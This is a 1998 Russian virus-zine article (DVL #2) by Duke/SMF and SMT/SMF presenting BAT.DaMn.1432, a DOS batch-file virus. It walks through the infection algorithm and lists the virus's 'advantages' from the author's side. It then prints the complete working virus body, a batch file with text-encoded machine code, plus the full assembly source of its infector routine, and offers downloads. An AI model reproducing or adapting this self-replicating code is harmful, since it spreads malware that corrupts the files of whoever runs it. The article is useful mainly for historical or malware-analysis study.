D V L # 2
BAT.DaMn.1432
(c) by Duke/SMF & SMT/SMF
Авторы : Duke/SMF & SMT/SMF
Имя вируса : BAT.DaMn.1432
Дата создания : 23.10.98
Длина : 1432 байт
Тип : файловый BAT-вирус
BAT.DaMn - это файловый BAT-файловый вирус, поражающий все файлы в текущем
каталоге.
Алгоритм работы вируса:
1. Отключается вывод на экран с помощью CTTY NUL
2. Создается файл $.COM на диске. В него записывается исполнимый код из
тела вируса.
3. Проводится перебор батников текущего каталога. Для каждого найденного
батника вызывается файл $.COM с параметрами
<имя_файла_с_вирусом> <имя_найденного_батника>
4. Файл $.COM проверяет этот батник на повторное заражение: в батнике
ищется идентификатор вируса, равный последовательности 0Dh,0Ah,':DaMn'.
Если таковая имеется, то найденный файл уже заражен и $.COM прекращает
свою работу. Если идентификатор не найден, то в файле с вирусом ищется
идентификатор и все символы, начиная с него включительно, копируются
в найденный батник.
5. После перебора всех батников удалается файл $.COM и возвращается вывод
на экран.
Поскольку тело вируса выполняется в ходе его работы всего один раз за
запуск, то вирусу не требуется поражать файл в начало или проверять
параметры командной строки запущенного батника. Поэтому вирус записывается
в самый конец поражаемых файлов. В вирусе имеется лишь одна метка ':DaMn',
используемая для контроля на повторное заражение. Поскольку подобные метки
встречаются нечасто ;) , то она не должна мешать работе пораженного файла.
Внимание! Первыми байтами тела вируса являются байты 0Dh, 0Ah , а не
какие либо другие! Для чего это нужно? Встречаются BAT-файлы, последняя
строка которых не оканчивается переходом на новую строку. Это создает много
проблем вирусописателям и их детищам. При записи вируса в конец такого файла
необходимо сперва поставить 0Dh, 0Ah , а лишь затем переносить тело вируса,
(эта ошибка встречается в 90% BAT-вирусов, использующих команды TYPE или
FIND для размножения. Смотрите также статью dvl2-04.htm) иначе после
заражения и пораженный BAT-файл, и вирус потеряют работоспособность. Именно
поэтому вирус BAT.DaMn использует в качестве идентификатора строку 0Dh, 0Ah,
':DaMn' и переносит вирус в файл-жертву начиная с этого идентификатора.
Если перед строкой ':DaMn' в файле-вирусе не поставить символов 0Dh, 0Ah,
то при запуске файл $.COM, не найдя в вирусе идентификатора, завесит машину.
Преимущества вируса:
1. Проверка на повторное заражение.
2. Независимость от каких бы то ни было посторонних файлов (например,
утилит FIND, DEBUG, PKZIP или других).
3. Несмотря на то, что часть вируса написана на ASM'е, в теле вируса
содержатся лишь текстовые символы. Поэтому никаких проблем с символами
00h-2Fh (в том числе 7h, 10h, 13h). Тело вируса - 100% текст.
4. Не оставляет после себя посторонних файлов.
5. Не поражает файл AUTOEXEC.BAT
Недостатки вируса:
1. Прирост файла более 1400 байт
2. Имеется вставка, написанная на ASM
Ниже приводится исходный текст вируса: вируса в виде BAT-файла и исходный
текст вставки на ASM'е
BAT-файл с вирусом выглядит следующим образом:
===== Cut here =====
:DaMn
@ctty nul
echo>$ @P@P@P@P@P@P@P@P=-==Da=Mn=Da=Mn=-=XXXXXXXX=
echo>>$ [SSX,@P^SX4a,A(@B(@C0@F0@G0@J0@K0@N0@OSX4@(@@(@A=
echo>>$ SX,@(@H(@I(@J(@K(@L(@L(@M(@M(@N(@N(@O(@O=
echo>>$ SX5CB-@@,@P^SX5BB-@@,@P_=
echo>>$ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@=
echo>>$ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@=
echo>>$ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@=
echo>>$ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@=
echo>>$ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@=
echo>>$ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@=
echo>>$ SX4P8@@tkSX4@8@@rWSX2@@F,@,@VP^SX2@@^2@@4@PSX2A@0A@X0A@G=
echo>>$ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@FSX5@B-@@P@LC
echo>>$ NH@@@@EMHANMAO@IEGHMKFD@@IKOOL@@KI@D@@OC
echo>>$ JDHMKFDD@IKO@@@AEIKHOL@@E@CCL@LCOCJDNK@@
echo>>$ KDDJKK@@@ALMBAOLKOHA@@KHB@@@HJNHBNCH@EGE@ADGEGOBJNBNHICNGG@ADOBNLF@E
echo>>$ @@HKOGDFJLCLB@GOOKDNBNLF@D@@KH@@CMEJLMBAE@KDDHKK@@A@LMBAHNL@HNMHEKKI
echo>>$ OOOOKDCOCCMBLMBAE@KDCNLMBACCOFEFJLCL@MGEABJMCM@JCJGE@LJMCMDDFAGE@FJM
echo>>$ CMDMFNGD@DENDFNKNDHLLHHNMHKH@BCMKJ@@@@LMBAHKMH@FECKK@@A@KDDHLMBAHNMH
echo>>$ HNL@KH@@DBEKCCLICCMBLMBAKIOOOOKDCOCCMBLMBAHKLHCCOFEFJLCL@MGEABJMCM@J
echo>>$ CJGE@LJMCMDDFAGE@FJMCMDMFNGD@GENDFNBNDNK@JI@KDDILMBAEH@GNKAOI@KDDILM
echo>>$ BA@GKH@BDBCCLICCMBLMBAEJEIBKLJHLL@HNMHKDD@LMBAKDCNLMBAKDDILMBAKH@@DL
echo>>$ LMBAEKDDFADMFNBLB@DDGEFKFEB@BFB@ECDMEDB@BOBOB@ECDMDFEMP
ren $ $.com
for %%b in (*.bat) do if not %%b==AUTOEXEC.BAT $ %0 %%b
del $.*
ctty con
===== Cut here =====
Исходный текст ассемблерной вставки :
===== Cut here =====
; Ограничения:
; Исходный файл - не более 64K
; Поражаемый файл - не более 64K
; Свободная DOS память - 128K
; Параметры запуска должны идти через _один_ пробел (!)
; Сигнатура = 0d,0a,':DaMn'
.model tiny
.code
org 100h
Start: mov ah,4ah
mov bx,100h
int 21h ; shrink program segment to 4096 bytes
cld
mov di,81h
mov ax,0020h ; spacebar
mov ch,al
cmp cs:[di],al
jnz sksp
inc di
sksp:
push di
repnz scasb ; find a space in command line between params
mov word ptr cs:next,di
dec di
mov byte ptr cs:[di],0
mov si,di
inc si
m1: lodsb ; trying to find end of second command line parameter
cmp al,' '
jg m1
dec si
mov byte ptr cs:[si],0
mov ax,3d00h
pop dx
int 21h ; open source
push ax
mov ah,48h
mov bx,1000h ; get 64K of dos memory for source
int 21h
mov es,ax
mov ds,ax
pop bx
mov cx,0ffffh
mov ah,3fh
xor dx,dx
int 21h ; read ax bytes
push ax ; push file length
mov ah,3eh
int 21h ; close source
xor si,si
cmp2: push si ; searching for 0d,0a,':DeMo'
lodsb
cmp al,0dh
jnz erro
lodsw
cmp ax,0ah+100h*':'
jnz erro
lodsw
cmp ax,'D'+100h*'a'
jnz erro
lodsw
cmp ax,'M'+100h*'n'
jz found
erro: pop si
inc si
jmp cmp2
found:
mov ax,cs
mov ds,ax
mov ax,3d02h ; open for read/write
mov dx,0000h ; POINTER TO FILENAME
next equ $-2
int 21h ; open target file
mov bx,ax
push es
push bx
mov bx,1000h
mov ah,48h
int 21h ; Get 64K for target file
mov ds,ax
mov es,ax
mov ax,4200h
pop bx
xor cx,cx
xor dx,dx
int 21h ; 'reset' target file
mov cx,0ffffh
mov ah,3fh
xor dx,dx
int 21h ; read target file
mov cx,ax ; length
xor si,si
cm2: push si ; searching for 0d,0a,':DeMo'
lodsb
cmp al,0dh
jnz error
lodsw
cmp ax,0ah+100h*':'
jnz error
lodsw
cmp ax,'D'+100h*'a'
jnz error
lodsw
cmp ax,'M'+100h*'n'
jz found1
error: pop si
inc si
loop cm2
jmp notfound
found1: mov ah,49h
int 21h ; free target buffer
pop ax
pop es
jmp exi
notfound:
mov ah,49h
int 21h ; free target buffer
pop es
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h ; seek from EOF
pop dx ; signature location
pop cx ; pop file length
sub cx,dx ; calc. length
mov ax,es
mov ds,ax
mov ah,40h
int 21h ; write to end of target file
mov ah,3eh
int 21h ; close target
exi:
mov ah,49h
int 21h ; free memory of target
exit: mov ax,4c00h
int 21h ; exit
db '[DaMn, Duke & SMT // SMF]'
end Start
===== Cut here =====
 |
Здесь вы можете скачать: |
Вирус BAT.DaMn, исходный текст его ассемблерной вставки и утилиту COM2TXT